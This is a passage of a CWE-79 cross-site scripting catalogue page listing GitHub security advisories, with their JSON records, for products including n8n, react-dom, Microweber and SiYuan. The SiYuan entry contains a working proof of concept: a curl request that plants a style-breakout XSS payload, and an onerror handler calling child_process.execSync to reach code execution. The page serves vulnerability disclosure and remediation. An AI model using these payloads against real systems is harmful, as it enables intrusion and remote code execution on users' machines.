CWE-79
AllowedImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Abstraction: Base · Status: Stable
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
68772 vulnerabilities reference this CWE, most recent first.
GHSA-MVH3-4PVM-6FVJ
Vulnerability from github – Published: 2022-05-17 03:58 – Updated: 2022-05-17 03:58Cross-site scripting (XSS) vulnerability in Cisco Unified Communications Domain Manager (UCDM) 8.x before 8.1.1 allows remote attackers to inject arbitrary web script or HTML via crafted markup data, aka Bug ID CSCud41176.
{
"affected": [],
"aliases": [
"CVE-2016-1354"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2016-03-03T15:59:00Z",
"severity": "MODERATE"
},
"details": "Cross-site scripting (XSS) vulnerability in Cisco Unified Communications Domain Manager (UCDM) 8.x before 8.1.1 allows remote attackers to inject arbitrary web script or HTML via crafted markup data, aka Bug ID CSCud41176.",
"id": "GHSA-mvh3-4pvm-6fvj",
"modified": "2022-05-17T03:58:34Z",
"published": "2022-05-17T03:58:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-1354"
},
{
"type": "WEB",
"url": "http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160302-cucdm"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-MVH4-2CM2-6HPG
Vulnerability from github – Published: 2025-09-15 17:14 – Updated: 2025-09-15 20:07Impact
A stored Cross-Site Scripting (XSS) vulnerability was identified in the @n8n/n8n-nodes-langchain.chatTrigger node in n8n. If an authorized user configures the node with malicious JavaScript in the initialMessages field and enables public access, the script will be executed in the browser of anyone who visits the resulting public chat URL.
This vulnerability could be exploited for phishing or to steal cookies or other sensitive data from users who access the public chat link, posing a security risk.
Patches
This issue has been patched in version 1.107.0 of n8n. Users should upgrade to version 1.107.0 or later.
Workarounds
Disabling the n8n-nodes-langchain.chatTrigger node (docs)
References
18148
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "n8n"
},
"ranges": [
{
"events": [
{
"introduced": "1.24.0"
},
{
"fixed": "1.107.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-58177"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-15T17:14:27Z",
"nvd_published_at": "2025-09-15T17:15:35Z",
"severity": "MODERATE"
},
"details": "### Impact\nA stored Cross-Site Scripting (XSS) vulnerability was identified in the `@n8n/n8n-nodes-langchain.chatTrigger` node in n8n. If an authorized user configures the node with malicious JavaScript in the initialMessages field and enables public access, the script will be executed in the browser of anyone who visits the resulting public chat URL.\n\nThis vulnerability could be exploited for phishing or to steal cookies or other sensitive data from users who access the public chat link, posing a security risk.\n\n### Patches\nThis issue has been patched in version 1.107.0 of n8n. Users should upgrade to version 1.107.0 or later.\n\n### Workarounds\nDisabling the `n8n-nodes-langchain.chatTrigger` node ([docs](https://docs.n8n.io/hosting/securing/blocking-nodes/))\n\n### References\n#18148",
"id": "GHSA-mvh4-2cm2-6hpg",
"modified": "2025-09-15T20:07:54Z",
"published": "2025-09-15T17:14:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/n8n-io/n8n/security/advisories/GHSA-mvh4-2cm2-6hpg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58177"
},
{
"type": "WEB",
"url": "https://github.com/n8n-io/n8n/pull/18148"
},
{
"type": "WEB",
"url": "https://github.com/n8n-io/n8n/commit/d4ef191be0b39b65efa68559a3b8d5dad2e102b2"
},
{
"type": "WEB",
"url": "https://docs.n8n.io/hosting/securing/blocking-nodes"
},
{
"type": "PACKAGE",
"url": "https://github.com/n8n-io/n8n"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Stored XSS in n8n LangChain Chat Trigger Node via initialMessages Parameter"
}
GHSA-MVHC-XMP2-V93R
Vulnerability from github – Published: 2022-05-17 02:53 – Updated: 2022-05-17 02:53Multiple Cross-Site Scripting (XSS) were discovered in Gazelle before 2017-03-19. The vulnerabilities exist due to insufficient filtration of user-supplied data (action, userid) passed to the 'Gazelle-master/sections/tools/data/ocelot_info.php' URL. An attacker could execute arbitrary HTML and script code in a browser in the context of the vulnerable website.
{
"affected": [],
"aliases": [
"CVE-2017-7249"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-03-23T22:59:00Z",
"severity": "MODERATE"
},
"details": "Multiple Cross-Site Scripting (XSS) were discovered in Gazelle before 2017-03-19. The vulnerabilities exist due to insufficient filtration of user-supplied data (action, userid) passed to the \u0027Gazelle-master/sections/tools/data/ocelot_info.php\u0027 URL. An attacker could execute arbitrary HTML and script code in a browser in the context of the vulnerable website.",
"id": "GHSA-mvhc-xmp2-v93r",
"modified": "2022-05-17T02:53:20Z",
"published": "2022-05-17T02:53:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-7249"
},
{
"type": "WEB",
"url": "https://github.com/WhatCD/Gazelle/issues/112"
},
{
"type": "WEB",
"url": "https://github.com/scriptzteam/Gazelle---Torrent-Tracker-ANTi-XSS"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/97063"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-MVHW-5Q9J-54QX
Vulnerability from github – Published: 2026-08-18 15:31 – Updated: 2026-08-18 15:31Unauthenticated Cross Site Scripting (XSS) in Affiliates Manager <= 2.9.53 versions.
{
"affected": [],
"aliases": [
"CVE-2026-73358"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-18T15:17:04Z",
"severity": "HIGH"
},
"details": "Unauthenticated Cross Site Scripting (XSS) in Affiliates Manager \u003c= 2.9.53 versions.",
"id": "GHSA-mvhw-5q9j-54qx",
"modified": "2026-08-18T15:31:48Z",
"published": "2026-08-18T15:31:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73358"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/affiliates-manager/vulnerability/wordpress-affiliates-manager-plugin-2-9-53-cross-site-scripting-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-MVJ3-HC7J-VP74
Vulnerability from github – Published: 2025-08-01 18:31 – Updated: 2025-08-01 21:06Reflected Cross-Site Scripting (XSS) in Microweber CMS 2.0 via the layout parameter on the /admin/page/create page allows arbitrary JavaScript execution in the context of authenticated admin users.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "microweber/microweber"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"last_affected": "2.0.19"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-51502"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2025-08-01T21:06:43Z",
"nvd_published_at": "2025-08-01T17:15:52Z",
"severity": "MODERATE"
},
"details": "Reflected Cross-Site Scripting (XSS) in Microweber CMS 2.0 via the layout parameter on the /admin/page/create page allows arbitrary JavaScript execution in the context of authenticated admin users.",
"id": "GHSA-mvj3-hc7j-vp74",
"modified": "2025-08-01T21:06:43Z",
"published": "2025-08-01T18:31:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-51502"
},
{
"type": "PACKAGE",
"url": "https://github.com/microweber/microweber"
},
{
"type": "WEB",
"url": "https://github.com/progprnv/CVE-Reports"
},
{
"type": "WEB",
"url": "https://github.com/progprnv/CVE-Reports/blob/main/CVE-2025-51502"
},
{
"type": "WEB",
"url": "https://github.com/progprnv/CVE-Reports/blob/main/MICROWEBER%20%5BAdmin%20Panel%5D%20Reflected%20XSS%20on%20layout%20parameter.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Microweber has Reflected XSS Vulnerability in the layout Parameter"
}
GHSA-MVJF-2VRX-HV56
Vulnerability from github – Published: 2022-05-17 00:15 – Updated: 2022-05-17 00:15Cross-site scripting (XSS) vulnerability in HP SNMP Agents for Linux before 9.0.0 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2012-2001"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2012-05-02T22:55:00Z",
"severity": "MODERATE"
},
"details": "Cross-site scripting (XSS) vulnerability in HP SNMP Agents for Linux before 9.0.0 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.",
"id": "GHSA-mvjf-2vrx-hv56",
"modified": "2022-05-17T00:15:32Z",
"published": "2022-05-17T00:15:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-2001"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/75317"
},
{
"type": "WEB",
"url": "http://osvdb.org/81696"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/48978"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/522546"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/53338"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id?1027002"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-MVJJ-GQQ2-P4HW
Vulnerability from github – Published: 2019-01-04 19:05 – Updated: 2023-09-13 19:45Affected versions of react-dom are vulnerable to Cross-Site Scripting (XSS). The package fails to validate attribute names in HTML tags which may lead to Cross-Site Scripting in specific scenarios. This may allow attackers to execute arbitrary JavaScript in the victim's browser. To be affected by this vulnerability, the application needs to:
- be a server-side React app
- be rendered to HTML using ReactDOMServer
- include an attribute name from user input in an HTML tag
Recommendation
If you are using react-dom 16.0.x, upgrade to 16.0.1 or later.
If you are using react-dom 16.1.x, upgrade to 16.1.2 or later.
If you are using react-dom 16.2.x, upgrade to 16.2.1 or later.
If you are using react-dom 16.3.x, upgrade to 16.3.3 or later.
If you are using react-dom 16.4.x, upgrade to 16.4.2 or later.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "react-dom"
},
"ranges": [
{
"events": [
{
"introduced": "16.0.0"
},
{
"fixed": "16.0.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"16.0.0"
]
},
{
"package": {
"ecosystem": "npm",
"name": "react-dom"
},
"ranges": [
{
"events": [
{
"introduced": "16.1.0"
},
{
"fixed": "16.1.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "react-dom"
},
"ranges": [
{
"events": [
{
"introduced": "16.2.0"
},
{
"fixed": "16.2.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"16.2.0"
]
},
{
"package": {
"ecosystem": "npm",
"name": "react-dom"
},
"ranges": [
{
"events": [
{
"introduced": "16.3.0"
},
{
"fixed": "16.3.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "react-dom"
},
"ranges": [
{
"events": [
{
"introduced": "16.4.0"
},
{
"fixed": "16.4.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2018-6341"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T21:47:15Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "Affected versions of `react-dom` are vulnerable to Cross-Site Scripting (XSS). The package fails to validate attribute names in HTML tags which may lead to Cross-Site Scripting in specific scenarios. This may allow attackers to execute arbitrary JavaScript in the victim\u0027s browser. To be affected by this vulnerability, the application needs to:\n- be a server-side React app\n- be rendered to HTML using `ReactDOMServer`\n- include an attribute name from user input in an HTML tag\n\n\n## Recommendation\n\nIf you are using `react-dom` 16.0.x, upgrade to 16.0.1 or later. \nIf you are using `react-dom` 16.1.x, upgrade to 16.1.2 or later. \nIf you are using `react-dom` 16.2.x, upgrade to 16.2.1 or later. \nIf you are using `react-dom` 16.3.x, upgrade to 16.3.3 or later. \nIf you are using `react-dom` 16.4.x, upgrade to 16.4.2 or later.",
"id": "GHSA-mvjj-gqq2-p4hw",
"modified": "2023-09-13T19:45:25Z",
"published": "2019-01-04T19:05:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-6341"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-mvjj-gqq2-p4hw"
},
{
"type": "WEB",
"url": "https://reactjs.org/blog/2018/08/01/react-v-16-4-2.html"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/npm:react-dom:20180802"
},
{
"type": "WEB",
"url": "https://twitter.com/reactjs/status/1024745321987887104"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/1421"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Cross-Site Scripting in react-dom"
}
GHSA-MVJQ-P76Q-JJVW
Vulnerability from github – Published: 2022-05-17 04:03 – Updated: 2022-05-17 04:03Multiple cross-site scripting (XSS) vulnerabilities in the web interface on Janitza UMG 508, 509, 511, 604, and 605 devices allow remote attackers to inject arbitrary web script or HTML via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2015-3970"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2015-10-28T10:59:00Z",
"severity": "MODERATE"
},
"details": "Multiple cross-site scripting (XSS) vulnerabilities in the web interface on Janitza UMG 508, 509, 511, 604, and 605 devices allow remote attackers to inject arbitrary web script or HTML via unspecified vectors.",
"id": "GHSA-mvjq-p76q-jjvw",
"modified": "2022-05-17T04:03:57Z",
"published": "2022-05-17T04:03:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-3970"
},
{
"type": "WEB",
"url": "https://ics-cert.us-cert.gov/advisories/ICSA-15-265-03"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-MVJR-PP8F-J699
Vulnerability from github – Published: 2022-05-17 04:35 – Updated: 2025-04-12 12:38Multiple cross-site scripting (XSS) vulnerabilities in SpiceWorks 5.3.75941 allow remote attackers to inject arbitrary web script or HTML via the (1) syslocation, (2) syscontact, or (3) sysName configuration in snmpd.conf. NOTE: this entry was SPLIT from CVE-2012-2956 per ADT2 due to different vulnerability types.
{
"affected": [],
"aliases": [
"CVE-2012-6658"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-09-17T15:55:00Z",
"severity": "MODERATE"
},
"details": "Multiple cross-site scripting (XSS) vulnerabilities in SpiceWorks 5.3.75941 allow remote attackers to inject arbitrary web script or HTML via the (1) syslocation, (2) syscontact, or (3) sysName configuration in snmpd.conf. NOTE: this entry was SPLIT from CVE-2012-2956 per ADT2 due to different vulnerability types.",
"id": "GHSA-mvjr-pp8f-j699",
"modified": "2025-04-12T12:38:05Z",
"published": "2022-05-17T04:35:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-6658"
},
{
"type": "WEB",
"url": "http://osvdb.org/84112"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/49978"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/20063"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-MVJR-VV3C-W4QV
Vulnerability from github – Published: 2026-07-10 19:25 – Updated: 2026-07-10 19:25Summary
A CSS snippet body containing </style> breaks out of its surrounding <style> tag when renderSnippet() interpolates it via insertAdjacentHTML. A payload like </style><img src=x onerror="..."> runs arbitrary JavaScript in the renderer. On Electron desktop builds the renderer runs with nodeIntegration:true, so require('child_process') is reachable from the injected handler and the XSS chains to host RCE. Snippets sync via the workspace repository, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that pulls.
The bug also bypasses the user's enabledCSS / enabledJS separation. A user who turned enabledJS off was making a deliberate call not to run untrusted JavaScript; the CSS path runs it anyway.
Details
Affected:
- HEAD
96dfe0b(v3.6.5, 2026-04-21) - Sink:
app/src/config/util/snippets.ts:32 - Source:
/api/snippet/getSnippet, backed bydata/snippets/conf.json - Default config:
EnabledCSS: true,EnabledJS: trueatkernel/conf/snippet.go:26-27 - Electron config:
nodeIntegration:true,contextIsolation:false,webSecurity:falseon everyBrowserWindowinapp/electron/main.js:307,408-411,1107-1110,1150-1153,1322
The write path stores raw content. kernel/api/snippet.go:107-130 copies Content from the request straight into the snippet record with no HTML escape, no </style> check, no type-specific validation:
snippet := &conf.Snippet{
ID: m["id"].(string),
Name: m["name"].(string),
Type: m["type"].(string),
Content: m["content"].(string),
Enabled: m["enabled"].(bool),
}
Storage is workspace-internal and syncs. kernel/model/repository.go:1748,1798 reference data/snippets/conf.json, so the malicious record propagates to every sync peer.
The renderer reads the snippet back through /api/snippet/getSnippet and interpolates it into a <style> tag, raw. app/src/config/util/snippets.ts:32, called on app boot and on the reloadSnippet WebSocket event:
fetchPost("/api/snippet/getSnippet", {type: "all", enabled: 2}, (response) => {
response.data.snippets.forEach((item: ISnippet) => {
const id = `snippet${item.type === "css" ? "CSS" : "JS"}${item.id}`;
if (item.type === "css") {
document.head.insertAdjacentHTML("beforeend", `<style id="${id}">${item.content}</style>`);
} else if (item.type === "js") {
// intentional script-loading path
}
});
});
${item.content} lands inside the <style> tag. The HTML parser closes the style on the first </style> substring and treats anything after as a sibling of the empty <style> element.
Worth noting: the JS branch right after the CSS one already does the safe thing. It uses document.createElement("script") and sets el.text = item.content. That's a text-node assignment, no HTML parsing. The CSS branch just doesn't use the equivalent on a <style> element, and that's the bug.
Suggested fix
The cleanest fix mirrors what the JS branch already does. Build the element with createElement and set textContent:
if (item.type === "css") {
const el = document.createElement("style");
el.id = id;
el.textContent = item.content;
document.head.appendChild(el);
}
textContent on a <style> element populates the CSS rules without invoking the HTML parser, so </style> in the body is a 4-character text node instead of a close tag.
If touching that line is undesirable, the smaller patch is to escape < before interpolation:
const safe = item.content.replace(/[&<]/g, c => c === "&" ? "&" : "<");
document.head.insertAdjacentHTML("beforeend", `<style id="${id}">${safe}</style>`);
Either fix on its own closes the bug. Worth also rejecting </style> on the setSnippet backend handler so older renderers pulling the same synced workspace stay safe.
PoC
Stand up SiYuan:
docker run -d --name siyuan-poc \
-v ./workspace:/siyuan/workspace \
-p 16806:6806 \
b3log/siyuan:latest \
--workspace=/siyuan/workspace --accessAuthCode=hunter2
Plant the snippet:
TOKEN=$(jq -r '.api.token' workspace/conf/conf.json)
curl -X POST http://localhost:16806/api/snippet/setSnippet \
-H "Content-Type: application/json" \
-H "Authorization: Token $TOKEN" \
-d '{"snippets":[{"id":"","name":"poc","type":"css","enabled":true,"content":"</style><img src=x onerror=\"document.title=\\\"SIYUAN_XSS\\\";window.__siyuan_xss=true\">"}]}'
Returns {"code":0,"msg":"","data":null}. The snippet now sits at workspace/data/snippets/conf.json verbatim.
Open http://localhost:16806/stage/build/desktop/?r=1 or the Electron app pointing at the same workspace, authenticate, and run in DevTools:
({
markerFired: window.__siyuan_xss === true,
styleCount: document.querySelectorAll('style[id^="snippetCSS"]').length,
imgsInHead: document.head.querySelectorAll('img').length,
snippetStyleEmpty: document.querySelector('style[id^="snippetCSS"]')?.textContent.length === 0
})
Result from my run on 2026-05-19 against b3log/siyuan:latest:
{
"markerFired": true,
"styleCount": 1,
"imgsInHead": 1,
"snippetStyleEmpty": true
}
document.title is SIYUAN_XSS. The <style> exists but closed empty on the first </style>. The smuggled <img> is a sibling in <head>. The injected onerror ran arbitrary JS.
To turn it into RCE on Electron, swap the marker payload for:
<img src=x onerror="require('child_process').execSync('open /Applications/Calculator.app')">
require is reachable from the renderer because of nodeIntegration:true in app/electron/main.js:408.
Impact
Stored XSS to RCE on Electron desktop builds, plus XSS on mobile and Docker web builds.
The payload fires whenever the renderer refreshes snippets: on boot, on manual reload, or on a reloadSnippet WebSocket push. No user click required beyond having the app open.
Anyone affected by a workspace-write compromise is exposed. Realistic paths in: compromised SiYuan Cloud / S3 / WebDAV sync credentials, a workspace folder mounted on a shared filesystem (Dropbox, Syncthing, network share, git), or a multi-user Docker server where any authenticated user can call /api/snippet/setSnippet. Once the malicious snippet is in the workspace, every peer that syncs and has enabledCSS:true runs the payload.
The bug also silently bypasses the user's snippet-toggle intent. Someone who turned enabledJS off and left enabledCSS on was making a deliberate decision not to run untrusted JavaScript. The CSS path runs it anyway.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/siyuan-note/siyuan/kernel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260628153353-2d5d72223df4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54067"
],
"database_specific": {
"cwe_ids": [
"CWE-1188",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-10T19:25:09Z",
"nvd_published_at": "2026-06-24T22:16:48Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nA CSS snippet body containing `\u003c/style\u003e` breaks out of its surrounding `\u003cstyle\u003e` tag when `renderSnippet()` interpolates it via `insertAdjacentHTML`. A payload like `\u003c/style\u003e\u003cimg src=x onerror=\"...\"\u003e` runs arbitrary JavaScript in the renderer. On Electron desktop builds the renderer runs with `nodeIntegration:true`, so `require(\u0027child_process\u0027)` is reachable from the injected handler and the XSS chains to host RCE. Snippets sync via the workspace repository, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that pulls.\n\nThe bug also bypasses the user\u0027s `enabledCSS` / `enabledJS` separation. A user who turned `enabledJS` off was making a deliberate call not to run untrusted JavaScript; the CSS path runs it anyway.\n\n### Details\n\nAffected:\n\n- HEAD `96dfe0b` (v3.6.5, 2026-04-21)\n- Sink: `app/src/config/util/snippets.ts:32`\n- Source: `/api/snippet/getSnippet`, backed by `data/snippets/conf.json`\n- Default config: `EnabledCSS: true`, `EnabledJS: true` at `kernel/conf/snippet.go:26-27`\n- Electron config: `nodeIntegration:true`, `contextIsolation:false`, `webSecurity:false` on every `BrowserWindow` in `app/electron/main.js:307,408-411,1107-1110,1150-1153,1322`\n\nThe write path stores raw content. `kernel/api/snippet.go:107-130` copies `Content` from the request straight into the snippet record with no HTML escape, no `\u003c/style\u003e` check, no type-specific validation:\n\n```go\nsnippet := \u0026conf.Snippet{\n ID: m[\"id\"].(string),\n Name: m[\"name\"].(string),\n Type: m[\"type\"].(string),\n Content: m[\"content\"].(string),\n Enabled: m[\"enabled\"].(bool),\n}\n```\n\nStorage is workspace-internal and syncs. `kernel/model/repository.go:1748,1798` reference `data/snippets/conf.json`, so the malicious record propagates to every sync peer.\n\nThe renderer reads the snippet back through `/api/snippet/getSnippet` and interpolates it into a `\u003cstyle\u003e` tag, raw. `app/src/config/util/snippets.ts:32`, called on app boot and on the `reloadSnippet` WebSocket event:\n\n```ts\nfetchPost(\"/api/snippet/getSnippet\", {type: \"all\", enabled: 2}, (response) =\u003e {\n response.data.snippets.forEach((item: ISnippet) =\u003e {\n const id = `snippet${item.type === \"css\" ? \"CSS\" : \"JS\"}${item.id}`;\n if (item.type === \"css\") {\n document.head.insertAdjacentHTML(\"beforeend\", `\u003cstyle id=\"${id}\"\u003e${item.content}\u003c/style\u003e`);\n } else if (item.type === \"js\") {\n // intentional script-loading path\n }\n });\n});\n```\n\n`${item.content}` lands inside the `\u003cstyle\u003e` tag. The HTML parser closes the style on the first `\u003c/style\u003e` substring and treats anything after as a sibling of the empty `\u003cstyle\u003e` element.\n\nWorth noting: the JS branch right after the CSS one already does the safe thing. It uses `document.createElement(\"script\")` and sets `el.text = item.content`. That\u0027s a text-node assignment, no HTML parsing. The CSS branch just doesn\u0027t use the equivalent on a `\u003cstyle\u003e` element, and that\u0027s the bug.\n\n#### Suggested fix\n\nThe cleanest fix mirrors what the JS branch already does. Build the element with `createElement` and set `textContent`:\n\n```ts\nif (item.type === \"css\") {\n const el = document.createElement(\"style\");\n el.id = id;\n el.textContent = item.content;\n document.head.appendChild(el);\n}\n```\n\n`textContent` on a `\u003cstyle\u003e` element populates the CSS rules without invoking the HTML parser, so `\u003c/style\u003e` in the body is a 4-character text node instead of a close tag.\n\nIf touching that line is undesirable, the smaller patch is to escape `\u003c` before interpolation:\n\n```ts\nconst safe = item.content.replace(/[\u0026\u003c]/g, c =\u003e c === \"\u0026\" ? \"\u0026amp;\" : \"\u0026lt;\");\ndocument.head.insertAdjacentHTML(\"beforeend\", `\u003cstyle id=\"${id}\"\u003e${safe}\u003c/style\u003e`);\n```\n\nEither fix on its own closes the bug. Worth also rejecting `\u003c/style\u003e` on the `setSnippet` backend handler so older renderers pulling the same synced workspace stay safe.\n\n### PoC\n\nStand up SiYuan:\n\n```bash\ndocker run -d --name siyuan-poc \\\n -v ./workspace:/siyuan/workspace \\\n -p 16806:6806 \\\n b3log/siyuan:latest \\\n --workspace=/siyuan/workspace --accessAuthCode=hunter2\n```\n\nPlant the snippet:\n\n```bash\nTOKEN=$(jq -r \u0027.api.token\u0027 workspace/conf/conf.json)\n\ncurl -X POST http://localhost:16806/api/snippet/setSnippet \\\n -H \"Content-Type: application/json\" \\\n -H \"Authorization: Token $TOKEN\" \\\n -d \u0027{\"snippets\":[{\"id\":\"\",\"name\":\"poc\",\"type\":\"css\",\"enabled\":true,\"content\":\"\u003c/style\u003e\u003cimg src=x onerror=\\\"document.title=\\\\\\\"SIYUAN_XSS\\\\\\\";window.__siyuan_xss=true\\\"\u003e\"}]}\u0027\n```\n\nReturns `{\"code\":0,\"msg\":\"\",\"data\":null}`. The snippet now sits at `workspace/data/snippets/conf.json` verbatim.\n\nOpen `http://localhost:16806/stage/build/desktop/?r=1` or the Electron app pointing at the same workspace, authenticate, and run in DevTools:\n\n```js\n({\n markerFired: window.__siyuan_xss === true,\n styleCount: document.querySelectorAll(\u0027style[id^=\"snippetCSS\"]\u0027).length,\n imgsInHead: document.head.querySelectorAll(\u0027img\u0027).length,\n snippetStyleEmpty: document.querySelector(\u0027style[id^=\"snippetCSS\"]\u0027)?.textContent.length === 0\n})\n```\n\nResult from my run on 2026-05-19 against `b3log/siyuan:latest`:\n\n```json\n{\n \"markerFired\": true,\n \"styleCount\": 1,\n \"imgsInHead\": 1,\n \"snippetStyleEmpty\": true\n}\n```\n\n`document.title` is `SIYUAN_XSS`. The `\u003cstyle\u003e` exists but closed empty on the first `\u003c/style\u003e`. The smuggled `\u003cimg\u003e` is a sibling in `\u003chead\u003e`. The injected `onerror` ran arbitrary JS.\n\nTo turn it into RCE on Electron, swap the marker payload for:\n\n```html\n\u003cimg src=x onerror=\"require(\u0027child_process\u0027).execSync(\u0027open /Applications/Calculator.app\u0027)\"\u003e\n```\n\n`require` is reachable from the renderer because of `nodeIntegration:true` in `app/electron/main.js:408`.\n\n### Impact\n\nStored XSS to RCE on Electron desktop builds, plus XSS on mobile and Docker web builds.\n\nThe payload fires whenever the renderer refreshes snippets: on boot, on manual reload, or on a `reloadSnippet` WebSocket push. No user click required beyond having the app open.\n\nAnyone affected by a workspace-write compromise is exposed. Realistic paths in: compromised SiYuan Cloud / S3 / WebDAV sync credentials, a workspace folder mounted on a shared filesystem (Dropbox, Syncthing, network share, git), or a multi-user Docker server where any authenticated user can call `/api/snippet/setSnippet`. Once the malicious snippet is in the workspace, every peer that syncs and has `enabledCSS:true` runs the payload.\n\nThe bug also silently bypasses the user\u0027s snippet-toggle intent. Someone who turned `enabledJS` off and left `enabledCSS` on was making a deliberate decision not to run untrusted JavaScript. The CSS path runs it anyway.",
"id": "GHSA-mvjr-vv3c-w4qv",
"modified": "2026-07-10T19:25:09Z",
"published": "2026-07-10T19:25:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-mvjr-vv3c-w4qv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54067"
},
{
"type": "PACKAGE",
"url": "https://github.com/siyuan-note/siyuan"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "SiYuan: Stored XSS to RCE via CSS-snippet \u003cstyle\u003e breakout in renderSnippet()"
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
Mitigation
